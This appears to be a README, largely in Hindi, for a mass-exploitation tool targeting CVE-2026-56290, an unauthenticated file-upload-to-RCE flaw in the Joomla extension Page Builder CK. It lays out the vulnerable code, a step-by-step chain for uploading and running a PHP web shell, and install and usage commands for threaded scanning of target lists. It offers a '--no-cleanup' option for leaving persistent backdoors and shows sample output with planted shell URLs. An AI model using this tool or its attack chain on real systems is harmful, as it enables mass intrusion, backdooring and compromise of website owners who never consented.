
📤 CVE-2026-56290 के लिए सामूहिक शोषण फ्रेमवर्क — Page Builder CK Joomla में बिना प्रमाणीकरण के फ़ाइल अपलोड से RCE
CVE-2026-56290 Page Builder CK (com_pagebuilderck) में एक क्रिटिकल-गंभीरता वाली भेद्यता है, जो एक लोकप्रिय Joomla पेज बिल्डर एक्सटेंशन है। browse.ajaxAddPicture कंट्रोलर विधि उपयोगकर्ता-नियंत्रित गंतव्य पथ के साथ अनप्रमाणित फ़ाइल अपलोड स्वीकार करती है, जिससे हमलावर वेब-सुलभ निर्देशिकाओं में मनमानी PHP फ़ाइलें लिख सकते हैं।
// browse.php controller — NO authentication check
function ajaxAddPicture() {
$input = JFactory::getApplication()->input;
$file = $input->files->get('file', null); // ← user-controlled file
$path = trim($input->get('path', '')); // ← user-controlled path, only trim()!
// ... uploads file to $path without validating the destination
}
path पैरामीटर पर केवल trim() सैनिटाइज़ेशन लागू होता है — न कोई व्हाइटलिस्ट, न डायरेक्टरी ट्रैवर्सल जाँच, न प्रमाणीकरण गेट। किसी भी Joomla पृष्ठ से सार्वजनिक रूप से सुलभ CSRF टोकन के साथ मिलकर, हमलावर किसी भी लिखने-योग्य निर्देशिका में PHP शेल दूरस्थ रूप से अपलोड कर सकते हैं।
| वेक्टर | गंभीरता | प्रभाव |
|---|---|---|
| अनप्रमाणित फ़ाइल अपलोड | 9.8 (क्रिटिकल) | मनमाना PHP कोड निष्पादन |
| CSRF टोकन संग्रहण | 5.3 (मध्यम) | अपलोड श्रृंखला को सक्षम करता है |
| सूचना प्रकटीकरण | 5.3 (मध्यम) | एक्सटेंशन संस्करण फ़िंगरप्रिंटिंग |
1. HIT Joomla homepage → harvest CSRF token (hex32 + value "1")
2. POST file upload → task=browse.ajaxAddPicture&{token}=1
3. PHP shell lands in → media/com_pagebuilderck/gfonts/shell.php
4. GET shell URL → code executes, RCE confirmed
5. POST f=@file to shell → upload additional tools
6. GET ?cleanup=1 → shell self-destructs
| Page Builder CK संस्करण | स्थिति | टिप्पणियाँ |
|---|---|---|
| 3.1.1 और उससे नीचे | 🔴 असुरक्षित | अनप्रमाणित अपलोड की पुष्टि |
| 3.4.10 और उससे नीचे | 🔴 असुरक्षित | विश्लेषण के अनुसार विस्तारित सीमा |
| 3.5.10 और उससे नीचे | 🔴 असुरक्षित | कुछ पैच किए गए वेरिएंट मौजूद हो सकते हैं |
| > 3.5.10 | 🟢 संभवतः पैच किया गया | manifest XML से सत्यापित करें |
नोट: संस्करण का पता Joomla manifest फ़ाइल
/administrator/manifests/files/com_pagebuilderck.xmlसे लगाया जाता है। यदि manifest सुलभ नहीं है, तो स्कैनर डिफ़ॉल्ट रूप से लक्ष्य को संभावित रूप से असुरक्षित मानता है।
🔍 टोह
|
💀 एक्सप्लॉइटेशन
|
# Clone the repository
git clone https://github.com/shinthink/pbck-exploit.git
cd pbck-exploit
# Install dependencies
pip install -r requirements.txt
# Verify
python cve_2026_56290.py --help
requests>=2.28.0
urllib3>=1.26.0
CVE-2026-56290 — PageBuilderCK Unauthenticated RCE | Mass Exploit & Validator
-t, --target Single target URL
-f, --file File with target URLs (one per line, # for comments)
-o, --output Live TXT output file (default: cve-2026-56290_live.txt)
--json JSON report file path (default: cve-2026-56290_report.json)
--threads Concurrent workers (default: 20)
--timeout Request timeout in seconds (default: 15)
--no-cleanup Leave shells on target (persistent backdoor)
-v, --verbose Verbose endpoint discovery output
--known-endpoint Skip discovery: task,file_param,folder_param
# Single target
python cve_2026_56290.py -t https://target.com
# Mass scan from file
python cve_2026_56290.py -f targets.txt
# Custom output + verbose
python cve_2026_56290.py -f targets.txt -o results.txt -v
# Leave shells behind (persistent backdoor)
python cve_2026_56290.py -t https://target.com --no-cleanup
# Skip discovery with known endpoint
python cve_2026_56290.py -t https://target.com --known-endpoint "browse.ajaxAddPicture,file,path"
# targets.txt
target-one.com
https://target-two.com/subdir
192.168.10.100
# comments and blank lines are ignored
$ python cve_2026_56290.py -f targets.txt -o live_results.txt
────────────────────────────────────────────────────────────
CVE-2026-56290 | 5 targets | 20 threads | cleanup=yes
Live TXT: live_results.txt
2026-07-04 15:30:00
────────────────────────────────────────────────────────────
✅ https://target-vuln.com [rce_confirmed] 12.4s
PBCK: 3.4.7 [VULN]
RCE : ext=php | path=media/com_pagebuilderck/gfonts/
Shell: https://target-vuln.com/media/com_pagebuilderck/gfonts/pbck_a3f2b9c1.php
Usage: POST f=@file | ?cleanup=1
EP : task=browse.ajaxAddPicture | file=file | folder=path
🛡️ https://target-patched.com [patched] 3.2s